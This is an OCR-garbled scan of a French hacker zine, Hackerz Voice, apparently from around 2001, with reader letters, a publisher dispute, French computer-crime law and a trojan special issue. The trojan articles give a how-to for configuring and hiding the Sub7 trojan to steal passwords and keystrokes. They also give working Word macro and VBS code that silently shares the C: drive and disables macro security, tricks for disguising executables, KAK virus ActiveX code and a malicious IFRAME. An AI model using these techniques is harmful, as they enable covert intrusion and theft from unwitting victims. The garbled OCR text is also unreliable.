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La nouvelle méthode (et la meilleure)

pour copier vos DVD

Le code qui permet d'accéder
a n'importe quel disque dur a distance.

Lire (es mails des autres
(méme s'ils les ont effacés!)

HACKERZ VOICE

Le manifeste de Ia HackerzPride
par The Mentor

Installer 2 sysiemes
sur sa machine

Utiliser Sub Seven, le Troyen
nui déchire tout
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Ah hen ca tombe bien !

ON PREPARAIT JUSTEMENT

UN SPECIAL TROYEN

es nouvelles du journal ? Wasaaaaa ! et comme
on a toujours pas de pub ni de sponsor , ben
c'est grace & vous tous tout simplement

Pour vous remercier, ce spécial troyen. On a essayé
d'aborder la gestion pour que chacun en apprenne le
maximum. Balancez notre trojan fun a tous vos potes,
surtout ceux qui sont pas encore nos lecteurs (s'il en

reste).

Ca tombe trés bien, Hzv s'est fait salement troyenisé
depuis le numéro 3 : :( grrrrr, of le concours) & croire
guiils ont voulu nous aider & illustrer notre théme

principal, super :(

En tant que voix de la communauté, HZV a une
responsabilité collective. D'autant plus que comme vous
le constaterez dans ce numéro, plutét crever que

balancer nos sources.

Dongc, les gars, z'étes tous assez grands pour faire la
part des choses. Vous nous appréciez, ben faites gaffe
a votre journal préféré. Hzv c'est votre bébé et ¢a ne
plait pas tout le monde. Tant mieux.

ok voice @dmpfrance.com

200d vibes

[ale s

En allant cherchi mon paquet d i
au café du colfn mes yeux se mirent a parcourir
lentement le contenu de I'étagére a journaux,
quand soudain ils tombérent (littéralement!)
en arrét devant votre zine,

"Bon!" me dil-je, encore un de ces journaux
qui utilisent un titre racoleur pour vendre.
Mals quand je pris le papier en main, foups!,
tout mes doutes furent levés. Quel journal
utiliserais du papler recyclé si cen'estune jeuns
entreprise qui se lance! (vous vexez pas), le
contenu futtout a faita mongoiit, pas de publicité
(un miraciel), un contenu clair et précis, des
journalistes sommes toutes au fail de leurs
metiers, ce qui soit dis en passanl n'est pas
lacas detoutle monde! . ['al dévaré volre journal
de |a premidre a la demigre page{au passage
le lien deatheyes is ... dead!), une question
me vient a I'esprit a quel fréquence sortait
vous celte petite bible? et dans quel mesure
la distribuée vous (vous le distribué au hasard
ou bien dans des points presse hien précis?).
Voifa..., Ah au fait, coup de geule que je
pousse : Mitnick n'est pas un Hacker (quel
maothorriblel) il esttoutau plus un pirate de 3éme
zonel. Un Hacker (décidemment!) n'est ni
plus ni moins qu'un passionné de programmation
qui cherche a accroitre ces compétences., Je
1e saig, cela va faire pres de 4 ans que je le
fais et Je n'ai jamais planté un serveur ou
volé desmails, je trouve ga mesquin de ce servir
deces compétences pour abusé lesautres. Mais
bon y'auras toujours des trou....... | pour faire
th... leurs mondes, Lal. (ga va misux!).

périté. ..(déja

TOMMY LEE
Envous it longue etp
entendu ga kekpart moi...!)
mm Frangais Bon courage.

On ne compte plus les sites de hackerz,
vrais ou faux, infiltrés ou non par la
Police ou des officines privées pastoujours
trés clean. Impossible de faire la part des
choses. Le netdemeure le lieu de toutes les
intox, fausses infos, rumeurs et
manipularions en touts genres. La petite
sélecrion d'adresses que nous publions doic
donc écre considérée avec une infinie
prudence. Nous la publions i titre
d'information, pour que chaque lecreur
puisse, en responsabilité, se liveer 4 son
édificarion personnelle. Elles sont, 4
notre avis, une assez bonne synchése de
ce qui se diffuse sur Interner 4 propos
du hacking. Hackerz Voice les publie
volontiers 4 titre d'information, mais se
désolidarise évidemment deout ce que ces
pages web pourraient contenir d'illégal.

® heep:/ /www.nightbirdfr.com

® hetp:// www.multimania.com/ouah
® heep:/ /www.zataz.com

® heeps/ fwww.rte. frst

® heepe/ /www.2600.fr.st

® heep:/ /www.chey.frst
[ htrp:waw.hzlousuko

® hrep://wwwi.paradisihack.fr.st

® heepi/ /wwwiprotek-lab.nec

® heep://www.securiteinfo.com
International

® hetp:/ /www.astalavista, box.sk

® heep:/ [www.securityfocus.com
® hetp:/ /www.secureroot.com

® heep:/ /wwwilinuxsecuriry.com
® htepe// packets:omn.sccuri.ﬁd.cum
® herp://antionline.com

® heep:/ /www.isecurelabs.com

® hreps//www.phrack.com

® hrep://www.cultdeadcow.com
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H-gne.

Je vs dis chapo. paske kan jai envoye des
MKT (les mails-ki-tue) a certaines societes, tres
peu m'onl repondu. vs, vs me repondez et
avec humour, dc bien joue. vs I'aver pige,
men but n'etais aps de vous cassez en mille
marceaux, paske mon mall ¢'etait du bidon. mon
but, c'etait only de savoir comment vs reagirez
a ce mail. alors, felicitations. bon, ayez
I'esprit 1 peu didactik ds vos mags mais
sinon, ca roule. kan a mei, je vais poursuivre
la creation de mon site sur I'underground et
on ma demande de participer & la creation
41 fanzine. Je vous souhaite bonne route et
bon courage pr vos mags, vsinkietez aps,
jachéterals vos progh1 num etcontinuez gardez
volre humour noire et satirik, "adore. je reviendrez
vous embéites 1 peu de tps 3 olres.

A12C4
S@lut tt le monde... ;))

Deja je tenai a vous feliciter pour le superbe

boulot effectuer pour publier un journal aussi

complet que ca, en traitant 1t sories de sujets

!

En lait, la but de ce message n'est pas de
irle Mac, mais bel et bien de I'integrer

Coordi ef rédacteur g

g .
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Eslu maonde des Hackers ||| C'estvral que le Mac

véa (alsée,
n‘ayons pas peur des mots!) mais bon.... Ia
qualité se paye ;)))
En fait j"utilise mon iMac essentiellement
pour surfer, et hien sur je suls vite tomber ds
la marmite des warez.Ei enire nous, a part
“SerialSurler” et 2 ou 3sites vraiment bien, Il n'y
arien de fulgurant 11 :(( Aufait, sl vous avez des
astuces pour booster 1a connexion (surl ou
download) : je suls ouvert a t propositions 111
Juste derniere p'tite "contestation"; je me serais
bien abonné a votre nourjal, mais il est (a
mon avis!) beaucoup trop cibléwindobe :((( Vous
allez me dire que 90% des personnes tournent
sur pc,mals hon..... A croire que ca ne les
faits pas chier de devoir tourner sur un 08
plein de bugs !! ;)1)))
N'existe t-1l pas un équivalent (devotre Journal)
pour Mag ?7?
Sijms vous decidez de concacrer plus de
imps au Mac Hacker ds volre journal faltes
mui signe et on reparlera de I'abonnement 1
B
@4t
P8: continuez comme ca vous faites (quand
meme!) du bon tatf 1! ;)))
@macalement votre

D&mien

Promis, dans |e prochain numéro, maintenant
qu'on a 20 pages, y'en aura au moins une
pour ta pomme. On a préféré attendre d'avoir
des rais tracs 3 dire. Ca va tabasser. Sinon,
a notre connaissance, Il existe bien une palite
revue spécialisée Mac underground, mais
pas vraiment hack. Demande a ton marchand.

Salut,

J'al remarqué une erreur dans 'article dunumera
troize de Hackerz Voice 4 la page 5 dans
I'article une meilleur méthode. Ja suistout a fait
d'accord avec voire procédé sauf que quand vous
dites de mettre une cinquantaine d'e-mail
faux pour flooder I'autra cela est impossible
car le serveur ne prend gue 255 bytes Maximum
done vous ne pourrez pas faire en une seuls
fais avec une cinquantaine de mall, il faudra
recommencer plusieur fois I'opération.en
admetant que vous métrer entre 6 et 10 e-
mail par chaque connection, il faudra faire
cela en 5 fols.

J'éspére que vous en tiendrez compte.

@+ NeDpSyGhix

P5: Viotre Zine y déchire tout 1111}

Merci pourtaprécision, quifera gagner dutemps
a ceux qui n'avait pas falt |a rectil d*sux méme
1 qui te fais gagner, & toi toul seul, un tee-
shirt HZV gratos.

n

Devant le succés et sous vos applaudissements,
HACKERZ VOICE lance Les manuels du pirates v. page 18

Prochain numéro le 1 Juillet 2001.
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bad vibes

Nous avons regu, en recommandé, I'étrange
courrier suivant du directeur du Wirus Infor-
matique, des Puces, et de Pirates Mag. Nous
le publions intégralement, et nous lui répondans.

“Dang volre numéro 2, un lectear se plaint du
rappori qualité -prix de votre publication
(20F). Il I compare & Pirates Magazine qul, selon
sesproprestermes, oftre deux fois plus depages
et un papier de meilleure qualité pour 12F
seulement. Vous lul répondez que |a presse gra-
tuite ou pas cher cela s'appelle des cala-
logues. Ces propos sont insultants. Eneffet, notre
groupe estle premiera avoir proposeé des maga-
zines d'Informatigues sans publicité (hormis pour
quelgues périodiques et associations A but huma-
nitaire) dans le but d'informer ses lecteurs en
toute indépendance. D'ailleurs 3 I'épogue, vous
aviez sollicité notre aide pour lancer le vitre. ..
Devant notre refus (Pirates Magazine devant

prochai les kiosques) aver
méme été jusqu’a publier dans volre numéro
3, sans son autorisetion el sans lui verser de
salaire, un arlicle de I'un de nos journalistes
! Rapelons que nous éditons, surle méme modé-
le, Le Virus informatique (10F, magazine de défen-
se du consommateur) et Les Puces informatiques
(10F, magazine des bons plans avec 3000 petites
annonces). Et toujours le double de pages... "

La réponse du directeur de publicalion
d'Hackerz Volee:

Monsigur,

Nous ne nous connaissons pas, mais je sais
que vous avez été, o'est vrai, il y a longtemps,
parmi les premiers a faire entendre une voix
alternative dans le petitmonde de |a presseinfor-
matique. Les journaux gue vous avez invenlés
antété, me dit-on, des références. Mais ne vous
méprenez pas sur Hackerz Voice.

Hackerz Voice n'est pas une publication infor-
maligue, mals un journal d’opinion.

Il n*a copié personne, ne cherche pas a s
‘Imposer sur un marché ou & vous * piquer "
des lecteurs. Ce n’est pas notre problame.
Hackerz Voice n'est pas un " produit "de pres-
se, C'est un journal de passionnés et , sur-
tout, un journal ouvert. Trop peut étre. Je
m'explique : vous avez raison, c'est vrai,
nolre concours a été infiltré par un candidat
tricheur qui £'est approprié |e travail d'un
autre, publié dans la revue " Netascope ",
dont vous m'apprenez qu'elle vous appar-
tient.

Ce tricheur est naturellement disqualilié en
méme temps qu'il s’est disqualifié lui-méme.
Ce lamentable incident devrait nous conduire
& fermer un plus nos poris, 4 devenir méfiant,
suspicieux, procédurier... Enbiennon | Hackerz
Voice varesterouvert, frais, disponible aux idées.
Qu'un jeune pirate vienne un jour nous deman-
der appui ou conseils pour lancer son joumnal,
comme e fit un jour un de nos anciens colla-
borateur avec vous: dans la mesure de nos
moyens, nous, nous I"alderons. Nous publions
depuis moins longtemps que vous, nous n'avons
pas votre expérience de professionnel et de ges-
tionnaire de la presse et nous semmes plus
jeunes. Nous sommes aussi persuadés d'une
chose : celle de faire en ce moment le meilleur
journal du mondetraitant de I'underground infor-
matigue. Imitez nous.

Diivier Spinelii.

Tu te souviens, dans le film, quand Néo recoit un
message venu de nulle part sur son écran ?

Et biien, tu peux faire exactement
la mme choge |

Sub seven: Ton nouveau troyen
avec le mode d'emploi

Tu utilises quoi comme troyen ? Back Orifice ? Mouarf, quel ringard cui la ! Le top du rop maintenant c'est Sub7, 100 fois plus
de systémes lutilisent... & leur insu. La version 2.2 vient de sortir (fais une recherche sur google). Le fichier a télécharger s'ap-
pelle s522.zip. Ca y est, t l'as dézippé, alors allons-y.

Gonfiguration du serveur

Lance EditServer.exe, en mode normal. Parmi les nombreuses options de configuration, choisis surrout le E\or: sur lequel le ser-
veur va arcendre la connexion et le mot de passe, ainsi que les plugins i inscaller (*.dll dans le répertoire pluging). On a le choix
entre plusieurs méthodes de lancement au démarrage de la machine, depuis 'entrée dans win.ini jusqu’ des options non stan-
dard (pas mal), en passant par la base de registre. Déja on peut voir que ce trojan torche bien: il propose de nous enveyer par
miail les passwords récupéres (icq/aim/ras/etc...) et les rouches pressées. Et en plus il permet d'étre averti quand une machine
infectée est online, par mail, [CQ), IRC, SIN (serveur windows de gestion des machines infectées), ou seript CGI accessible par
le web (se créer un compre sur un provider gratuit autorisant le cgi). Une fois content de sa config, hop un petit clic sur "save as™
et le serveur est sauvegardé, Il s'installe dans C:\windows\system avec un nom aléatoire, et ne prend que quelque dizaines de ko
grice i [a compression,

Lancement du serveur

Le serveur s'exécure discrétement, sans apparairre dans le Task Manager. Disons qu'on va exécuter le serveur sur notre propre
machine (ip=127.0.0.1) pour voir ce qu'il vaur. Il faur alors le lancer depuis la ligne de commande : "server.exe ONLINE" pour
pouvoir £y connecter sans avoir ouvert de connexion internet.

Contrdle de la machine inféctée

Le client est la partie qui permet de se connecter sur le systéme possédant le serveur, et de contrdler ce dernier 4 distance. Dans
notre tese ces deux machines sont en fait les mémes, Arrention, c'est bien fendard de pouvoir s'amuser avec des potes i une
guerre de SubSeven er aurees troyens, mais ne fais jarais ga avee des inconnus, ru risquerais d'aller aussi sec rejoindre MafiaBoy
dans son palace.

Lance sub7.exe. Choisis I'ip (127.0.0.1 dans notre cas, sinon I'ip de la machine infectée) e le port. Pour trouver une ip 4 partir

d'un nom de machine, sub7 propose de bons ourils (local options/ip tool). §i tu es derriére un firewall, ou si tu venx que ton ip
soit invisible pour ne pas érre repéré, Sub7 peut passer par un proxy Socks. {<pub> je dévoilerai tous les secrets du hack ano-
nyme et du firewall pass dans le manuel du pirate n®1 </pub>)
Clique sur "Connect” et ¢a y es, tu es le maitre de la macrice. Sub7 est incroyablement riche: total control sur les fenérres
ouvertes, les fichiers (upload possible depuis le web), les rouches frappées (récupérer/envoyer), I'écran, le presse-papier, l'impri-
mante, les passwords, les connexions (sniffer inclus)... Il y a aussi un serveur frp (hé hé), un scanner de ports et dTF, un éditeur
de base de registre, un redirecreur de porrs... Er si tu veux te marrer un bon coup, des dizaines de gags sont possibles: renverser
I'écran, désacriver des fenétres, ouvrir le CDROM, inverser la souris ou la contréler 4 distance, éreindre l'ordi, faire disparairre
les icones ou la barre des taches... faire parler lordinareur avec text2speech, imprimer ou écrire un rexre...

ZE Matrix
Le plus fun de toutes ces options, c'est quand méme la marrice. Tu te souviens, dans le film, quand Neo recoit un message venu
de nulle part sur son écran ? Ec bien, tu peux faire exactement la méme chose avec SubSeven. Le pied ! Si Tommy n'est pas trop
3 la rue ;Fi] devrait avoir mis une petite photo d'écran dans le coin pour t'allécher, sachant que tu peux aussi choisir de merrre la
matrice en plein écran, en désactivant la souris et toutes les combinaisons de touches qui permettent d'en sortir, Piégé dans la
matrice...

Les hackers expérimentés y crouveront aussi leur compte puisque presque tout est configurable par des scripts, et qu'on peut
créer ses propres plugins. Le serveur comme les plugins peuvent écre mis 4 jour ou installés a distance. Seul point noir, nous
avons eu des difficulrés a faire foncrionner les plugins sur notre machine de test.

Site officiel: http://subseven.slak.org
A bientdr dans la marrice...

FoeZy

Entrez dans la matrice avec Sub Seven

|
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Pour ceux qui débarquent

r\III:IUS, TROYEN, BOMBE, BACKDOOR, WORM... Késako ?

Uncheval detroie, ou "trojan horse", estun programme qui semble effectuer une opération
légitime (traitement de texte...) alors qu'en fait il fait autre chose en douce, installer
une backdoor parexemple.Tout comme le vrai cheval de troie ol étaient cachés les troyens.
Une backdoor, ou "porte de derriére", c'est une voie d'entrée dissimulée parlaquelle le hac-
ker pourra prendre le contrdle de I'ordinateur. En pratique on confond souvent les
termes troyens et backdoor sous windows. A ne pas confondre avec une bombe infor-
matique, qui est un programme bien caché au coeur du systéme destiné a ne s'activer
qu'a un moment donné. Elle peutétre trés destructrice, heureusement on en voit peu. Enfin,
les virus sont des petits programmes furtifs qui se reproduisent en infectant le maxi-
mum de fichiers. lls sont de plusieurs type, selon la sorte de fichier qu'ils infectent
(.exe, .doc, secteur boot). Certains sont appelés Worm quand ils se propagent entre les
systéemes du réseau par mail (c'est le plus répandu de nos jours). Petite rétrospective:
le premier ver écrit par Morris date des années 80, aux débuts d'Internet, et ne s'atta-
quait qu'aux systémes unix. Il avait quand méme réussi 4 paralyser le réseau pendant
plusieurs jours...
FozZy

L)
Pour 13 BNiBMe e )

numero 1 Il y avait un truc pour sccélérer sa connexion, ot tout le mende
te demandalt comment faire; bah, je 'avais dit de chercher dans

ot depniére fois, | EmEEEmemEaEme.

ensuite, tu medifies (ou crée si elle waxiste pas) f2 clef
"DetaultRcviWindow". tn double-cligue dessus, e i affects 2 valeur

912 demande fle  S=mreammmaat :

m“llﬂ['s [lﬂ |ﬂ[: Ce que dit la loi en France
« Lacces et e maintien frauduleux total ou

{eurs, nous PeVe- | partiel dans out ou partie d'un Systéme ou
; télit d'intrusion est puni par I'article 323-1
nons sur Fastuce 'un an d"emprisonnement et de 100 000
il Ili['ﬂlﬂ francs 0°amentde ».

EnFrance, I'arme principale de I'arsenal juri-  Lorsgque I"action est volontaire, I"article
digue disponible contre les hackers demeu-  323-2 prévoit 3 ans d'emprisonnement et
re I loi Godfrain du 5 janvier 1988 « relative 300 000 francs d'amende. La encore, la loi

Bpmeu“t [IE a la fraude Informatigue «. ce texte prévoir  texte vise tous les procédés et toutes les

| notammenl que « I'accés et le maintien  lechnigues utilisées, méme celles incon-

frauduleux total ou partiel dans toul ou par-  nuesaumoment de la rédactionde la Joi. Cette
tie d'wn systéme ou délit d'intrusion est  disposition vise aussi la propagation de

L] u puni par I'article 323-1 d'un an d’emprison-  virus informatique.
IIIII II IIEI‘ ﬂp nement et de 100 000 francs d'amende «.
Ce délit est constitué dés lors que n'lmpor- 1l faut savoir que la simple tentative, non

te quelle technique est employée pour accé-  suivie de réussite donc, est punie des
der frauduleusement a un systéme protégé. mémes peines. En oulre, les personnes

= I I"'est aussi dans le cas de I'tilisation  physigues coupables d'un de ces délits encou-
E“x sa VIlEssa d'un code d'accés exacl, mals par une per-  rent, enplusde lapel le, des pei
sonne non autorisée & I'utiliser, complé ires é ées @ I'article

3235,

La loi prévoit aussi que si I'accés ou le

rar maintien frauduleux dans |e systéme enirai-  Lespersonnes morales, comme les entreprises
ne la suppression ou la modification de  ou les associations, peuvent elles aussi
données, ou méme une simple altérati étre déclaré les pénalement et

méme involontaire ou par mafadresse, les  encourent les painna prévues a l'article

peines sont doublées. 131-39 du nouvean code pénal.




Avant, il fallut que la victime lance elle-méme le serveur.exe.

Activer un troyen dans e tos e $a victime

INSTALLER UN TROYEN A DISTANCE ET COMMENT
S'EN PROTEGER

Bon c'est bien gentil d'avoir réeupéré rout plein de troyens sur interner, ou mieux
d'avoir passé un peu de temps & taper le cmﬂ source de ce numéro (non détecré par
les anrivirus, d'ailleurs), mais... les installer sur son propre ordinateur, c'est pas tou-
jours top | Er se faire pirater de cette fagon, la ¢a devient carrément I'horreur. Mais
alors, comment font les hackers pour infiltrer le tr dans une autre machine sous
windows, et comment se protéger ? Pour le hacker, cela revient 4 nhliger une
personne aexéeuter un programme ".exe” (quiserale troyen, justement). Les possibilités
sont nombreuses, mais seule l'une ou l'autre va pouvoir marcher, suivant la version
de windows urilisée, sa configuration, le degré de connerie de l'utilisateur... On peut
aussi combiner ces techniques. Ah un truc important: mon objecrif n'est pas de
fournir des asmce;g:rmettant aux scripe-kiddies d'aller tout droic 4 la case prison,
mais de montrer e au grand jour les risques réels que vous encourez quand vous
surfez sur le net ou quand vous lisez vos mails. A vous de prendre vos responsabili-
tés et de faire le discernement entre le jeu entre potes et le piratage nuisible, réprime
par la loi.

KROSOFT AIDE LES HACKERZ

Laméthodela plusefficace est aussila plus simple: envoyer le fichier exécutable par mail,
en artachement, 4 la personne visée. Si elle lance le programme (un simple clic suf-
fit), elle estbaisée, Un poilmeins bourrin: renommer le troyen.exe en emmanuelle jpg.exe
par exemple. Sous certaines configurarions de windows s'affichera "emmanuelle.jpg”
ce qui est un peu plus attractif, avouons-le | Tiens tiens, bug ou "fearure” ¢ Remar-
quons que pour un fichier .pif (raccourci) cette extension n'apparait pas méme si
l'oprion “cacher les extensions” n'est pas activée. Or, un fichier .exe renommé en:
.pif scr .comou bat sera toujours exécutable... et attirera moinslattention, Donc renom-
mer troyen.exe en hotsex.jpg.pif fonctionne | Pareil avec un fichier .shs qui en plus
posséde une icone ressemblant i du texte. Facile alors de créer un .shs i partir d'un
.exe (pour cela dragger 'exe dans WordPad, t le re-dragger surlebureau), et dele renom-
mer en lisezmoi.txe. On dirait que kro$oft fait exprés de faciliter la vie aux pirares !
Ces méthodes ainsi que les suivantes sont utilisées par de nombreux virus ou
werms (vous avez entendu pacler de LoveLetter er de Anna Kournikova #)

INFILTRATION PAR FAKE MAIL

Un peu plus subil,l'envoyer dans un fake mail semblant émaner d'une personne alaquel-
le la cible fait confiance. Le programme Ghost Mail automatise cette tache, dispo
sur www.er,uqam.cn.a"mcrlin/f3591543/gm, Les pirates peuvent pénétrer ainsi dans
de grosses entreprises en envoyant un mail semblant provenir d'une personnes de la
méme boite, et contenant le troyen. Li on commence a entrer dans le social enginee-
ting : rout est dans le texte accompagnant le programme, il Faut rrouver un scénario plau-
sib%c pour que la cible consente i lancer le troyen. (quoique le coup de la fille 4 poil
peur marcher 1),

Toujours par mail, le black hat peu aussi cheisir d'envoyer un document non
exécutable, par exemple un fichier word. Ca fait moinssuspect, surtour dansle cadre
d'une correspondance interne i lentreprise. Celui-ci fera le sale boulor dés quiil
seraouvert,grice aune macro. Cest aussi possibleavec Excel, Access.. Les nouvelles
versions (97 ou 2000) lancent généralement des alerres avant d'exécuter ces
macros, mais pas les anciennes. Et pas Access 2000 (!). Il est toujours possible
que lutilisareur passe outre l'avertissement, surtout avec un bon social enginee-
nns.

Voici une macro Word qui lance i l'ouverture un exécutable inséré comme objet

OLE dans le document et repéré par le bookmark "EXE"

Sub AutoOpen()
ActiveDocument.Bookmarks("EXE").Select
Selection.InlineShapes(1).OLEFormar.DoVerb VerbIndex:=wdOLEVerb
Primary

End Sub

Les programmes de la suite Office onr dautres failles. Ainsi Excel 97 ne prévient
pasdelexécutiond'une macrosi ledocumentestprotégé par mor depasse! Deplus,
ilirai leurs niveaux de sécurité dans li base de registre.

LES MACROS TUEUSES ||

Le fichier envoyé peut ne pas étre le .exe (si trop gros), mais un script vbs, qui pourra
“préparer le terrain” :avecun tel script on peut tout faire, parexemple désactiver certaines
fonctions de sécuricé de windows, mettre C:\ en parrage public, télécharger et exécu-
ter un programme... Vous trouverez aussi sur internet un prog pour insérer un peric
.exe dans un script vbs {en le codant en ASCII et le décodant) et I'exéeurer en urili-
san la faille de KAK (voir plus loin), c'est GodMessageI V. Le concept est intéressant
mais je déconseille vivement l'utilisation de ce progz qui peut étre destructeur.

Grace a Fozzi le
consentement de la victime
n'est plus nécessaire.

PARTAGE INVISIBLE DE C:\ AVEC UN SIMPLE SCRIPT VBS:
Set WshShell = CreateObject("WSeript.Shell”)

WshShell. RegWrite "HKEY_LOCAL_MACHINE\Software\Micros oft\Win-
dows\Current Version\Network\LanMan\C$\Flags", 770, "REG_DWORD"
WehShell. RegWeite "HKEY_LOCAL_MACHINE\Software\Microsoft\Win-
dows\Current Version|Nerwork\LanMan\C§\Parm1ene', 6837, "REG_BINARY"
WshShell. RepgWrite "HKEY_LOCAL_M ACHINE\Software\Microsoft\Win-
dows\Current Version Network\LanMan\C#$\Parm2enc”, 0, "REG_BINARY"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft| Win-
dows\Current Version Metwork\LanMan\C$\Pach”, "C:\"

WshShell.RegWrite "H KEY_LOCAL_MACHINE\Software\Microsoft\Win-
dows\Current Version\ Nerwork\LanMan\C$\Remark", "

WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Win-
dows\Current Version\ Network\LanMan\C$\ Type", 0, "REG_DWORD"

Pour accéder an disque de la victime ayant commis l'erreur d'exécuter ce script, le
pirare n'a plus qu'i raper "WIP_de_la_vicrime\C$" dans la fenétre du voisinage
réseau, et 3 donner le mot de passe (ici c'est deux fois le charactére ASCII numéro
128, représenté encodé dans le registre par la valeur 6837). Grice au symbole $, ce
partage total de C: est totalement invisibf: pour la victime, la faute 3 qui ?

Ily a 3 niveaux, le plus bas (level 1) autorise les macros et l'exécution d'objers
OLE sans averrissement. On peut modifier la base de registre 4 I'aide d'un
simple script vbs, d'une macro word, d'un fichier barch... L'atraque peurainsise faire
en plusieurs érapes: une premiére artaque, légére, qui va sembler inoffensive
mais va modifier la base de registre pour désactiver la séeurité. Er dans une
deuxiéme phase, envoi d'un fichier word contenant le troyen et la macre qui va
l'exécuter.

Pour Excel 97 la ¢lé ese dans :

HKEY CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft
Excel, metcre "Options6”=dword:00000000 supprime la sécurité. Pour Word
2000 la clé est dans;

HKEY_CURRENT_USER\Software\Microsoft\ Office\9.0\Word\Security,
metrre "Level"= dword:00000001.

- Avec une macro word:
System.PrivateProfileScring(™,"HKEY_CURRENT_USER) Software\Micro-
soft\Office\9.0\ Word\Security”, "Level') = 1&

- Avec un scripe VBS:

Set WshShell = CreateObject("WScript.Shell”)
WshShell RegWrite "HKEY _CURRENT_USER\Sofrware\Microsoft\
Office\9.0\Word\Security\Level’, 1, "REG_DWORD"

Plus inquiétanc: Wordpad (livré en standard avec windows) permet d'insérer
des objets OLE dans le document, par exemple un .exe, mais ne lance pas de
warningsil'onclique dessus pour Lexécucer | Il est done possible d'envoyec un fichier
.doc 3 quelgu'un qui n'a pas Word, en ayanc inséré & lintérieur le rroyen (& laide
de Word parexemple). Celui-ci apparaitra sous laforme dune icéne, avec une légen-
de en-dessous, les deux sont configurables comme en veur ! Trop facile alors

d'inciter ﬂuelau'un i cliquer dessus.
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@ GNAK GNAK : COMMENT PROCEDE LE PIRATE

1l est possible aussi d'envoyer un mail contenant du javascript -
en exploitant une faille d'ActiveX (sous Outlook ou IE), comme
le fait le virus KAK. Voici les parties clés du code de ce virus
qui lui donnent accés i tout le disque dur a partir d'un simple
mail au format heml (alorsinstallezles updates de krosoft pour érre

protégés !)

<object id="wsh' classid="clsid:F935DC22-1CF0-11D0-ADB9-
00CO4FDS8AODB > </object>

<script>

fs=new ActiveXObject('Scripting.FileSystemObject);

// donne accés au systéme de fichiers

wsh.Run(Regedit.exe -s kak.reg’);

// le virus peut ainsiexécurer n'importe quel programme du disque
dur, il crée un fichier kak.reg et va lintégrer A la base de registre
pour pouvoir s'exécuter  chaque démarrage.

</script>

Une autreidée est de joindre un fichier non exécutable destinéa étre
ouvert par un programme donné, en formatant ce fichier de telle
facon qu'il provoque un bug du programme (buffer overflow)
qui va permerrre d'exécuter direcrement un code machine inséré
danslefichier. Ce code pourratélécharger letroyenetl'exéeuter, par
exemple... Pourcelale pirate doit se renseigner sur les urilitaires que
sa victime utilise, et trouver les bugs qui vont permettre ces
fameux BOF. Ce n'est donc pas donné 4 tout le monde. Cer-
taines versions des logiciels de mails sont elles méme vulnérables
ides BOFE, comme Outlook Express. Ilsuffit alors d'envoyer un mail
formaré d'une maniére spéciale pour provoquer loverflow et prendre
le conerdle del'ordinateur. Pour se renseigner surles BOF possibles,
voir les bases de donnée de vulnérabilités sur wwwisecurityfocus.com
par exemple.

Revenons un instant au social engineering: 'evil hacker peut
tout simplement envoyer par la poste un faux CD de démons-
tration gratuite d'un programme super incéressant. Ou mettre
de la pub dans la boite aux lettres pour un site web qui fournit
un tel programme. Bien siir il s'agit en réalité d'un rroyen... Tl
peut aussi inciter par mail 4 aller sur un site, en particulier en
insérant dans le code html du mail un tag qui va ouvrir la page
web automatiquement:

<IFRAME SRC="http://wwwbad.boy.fk.yu"></[FRAME>.
(Ilpeuraussiremplacerlurl par javascripewindowiopen(hrtp://truc)'
ou par toute autre fonction javascript) Ou encore en envoyant un
mail en format hem! (comme une page web) avec un lien dissimulé
vers le site (par exemple lorsque f'on clique sur limage de fond).

Ce site peur inciter atélécharger le troyen par delafausse pub, mais
peut aussi le faire automatiquement en exploitant des bugs des
navigateurs comme Internet Explorer. Onentreladansles méthodes
les plus subriles, mais égalementles plus difficiles d merrre en oeuvre.
Le malveillant doit soit arriver 4 faire un BOF du navigateur,
soit utiliser des failles comme celles répertoriées sur www.gunins-
ki.com. Guninski est un spécialiste en sécurité qui est souvent
le premier & détecter et diffuser les failles des produits Micro-
soft, et je crois qu'on peut le remercier, car sans ces connais-
sances, pas de prorection possible, En voici un exemple frappant.
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ial Tr ter

Chuoisissez un bon antivirus comme AVX er updatez-le régulitrement. Insealles
un firewall/détecteur d'incrusion comme Black Ice peur étre une bonne idée, si
vous vous sentez menacés. Ah et jai oublié un truc: remplacez au maximum les
logiciels microsoft par des logiciels libres, et si vous le pouvez n'utilisez plus
windows mais des alternatives opensource. Jecrois avoir suffisament démontré que
la sécurité des softs de lami billou laisse & désirer...

Jespere que cer arricle a atteint son but: faire prendre conscience de lampleur

des menaces existantes, et de la facilicé avec laquelle un individu mal inrention-

né pourrait les mettre en oeuvre. La seule solution pour vraiment sécuriser ses

données, c'est de les stocker sur un ordinateur isolé d'internet. Et encore, il y a
| | Tempest, On est vraiment protégés de rien... Méme sous linux, quand je vois la
| fréquence des plantages de Netscape, je me dis quiil doit y avoir pas mal de buf-
fer overflow potentiels. A PROPOS... Tu es certain qu'un inconnu n'est pas en
train de formater ton disque en ce moment ?

FozZy

LA MORALE

Ne JAMAIS cliquer sur un attachement, n
par une personne que vous connaiss

ec un antivirus a jour et avoir
pas un exécutable. Attention un
i ialement pour
ce numeéro n'est

'
cene

ariensile troyena
, par cxcmplc le

l]'l

> I'exécution des seripts dans votre logiciel
srallez tous patcches mi t

~ N
LES BUGS CACHES DE WINDOWS

Hallucinane ! Un trou de sécu monstre existe dans win98, si I'affichage des
dossiers en tant que page web est activé (et c'est le cas par défaut). Créer dans
un répertoire les fichiers cachés Deskrop.ini et Folder.htt. Quand quelqu'un va
browser ce répertoire avec windows 98, grice a un controle ActiveX, le pre-
mier fichier listé va pouvoir étre étre sélectionné (focus) et ouvert (Invoke-
Verb). Le probléme, c'est que cela marche aussi bien en local qu'a travers
incernet ou un réseau local, si le répertoire est partagé (protocole samba). Ec
l'action "ouvrit” appliquée sur le ﬁcﬁ:’er aaa.exe va EXECUTER ce dernier sur
la machine DISTANTE (celle qui s'est connectée au partage samba et qui est
rentrée dans le répertoire malveillant). Si ¢a est pas un "security hole”... Ima-

inez un mail ou une page web qui ouvrirait autematiquement l'url “\WAIP_de l'or-

i_du_hacker\\evil_répertoire. En quelgues secondes vous étes infectés !
Pourinfo, vous trouverez le fichier Folder.htt sur htep:/ fwww.guninski-comfie:shzll-
defview.html.

Quand au fichier Deskrop.ini, le voici:

--- Desktop.ini ---

S [ExtShellFolderViews]

Default ={ 5984FFE0-28D4-11CF-AE66-08002B2E1262)

